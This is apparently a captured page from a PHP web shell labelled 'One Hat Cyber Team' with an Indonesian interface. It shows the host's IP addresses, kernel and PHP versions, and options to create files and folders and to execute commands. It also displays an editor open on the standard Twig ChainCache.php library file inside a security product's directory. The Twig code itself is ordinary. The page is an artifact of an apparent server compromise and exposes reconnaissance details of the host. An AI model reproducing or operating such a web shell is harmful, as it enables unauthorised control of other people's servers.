One Hat Cyber Team
Your IP :
216.73.216.36
Server IP :
23.137.84.82
Server :
Linux srv25.usacloudserver.us 5.14.0-570.39.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Sep 4 05:08:52 EDT 2025 x86_64
Server Software :
LiteSpeed
PHP Version :
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
opt
/
cpguard
/
app
/
vendor
/
twig
/
twig
/
src
/
Cache
/
Edit File:
ChainCache.php
<?php /* * This file is part of Twig. * * (c) Fabien Potencier * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Twig\Cache; /** * Chains several caches together. * * Cached items are fetched from the first cache having them in its data store. * They are saved and deleted in all adapters at once. * * @author Quentin Devos <quentin@devos.pm> */ final class ChainCache implements CacheInterface, RemovableCacheInterface { /** * @param iterable<CacheInterface> $caches The ordered list of caches used to store and fetch cached items */ public function __construct( private iterable $caches, ) { } public function generateKey(string $name, string $className): string { return $className.'#'.$name; } public function write(string $key, string $content): void { $splitKey = $this->splitKey($key); foreach ($this->caches as $cache) { $cache->write($cache->generateKey(...$splitKey), $content); } } public function load(string $key): void { [$name, $className] = $this->splitKey($key); foreach ($this->caches as $cache) { $cache->load($cache->generateKey($name, $className)); if (class_exists($className, false)) { break; } } } public function getTimestamp(string $key): int { $splitKey = $this->splitKey($key); foreach ($this->caches as $cache) { if (0 < $timestamp = $cache->getTimestamp($cache->generateKey(...$splitKey))) { return $timestamp; } } return 0; } public function remove(string $name, string $cls): void { foreach ($this->caches as $cache) { if ($cache instanceof RemovableCacheInterface) { $cache->remove($name, $cls); } } } /** * @return string[] */ private function splitKey(string $key): array { return array_reverse(explode('#', $key, 2)); } }
Simpan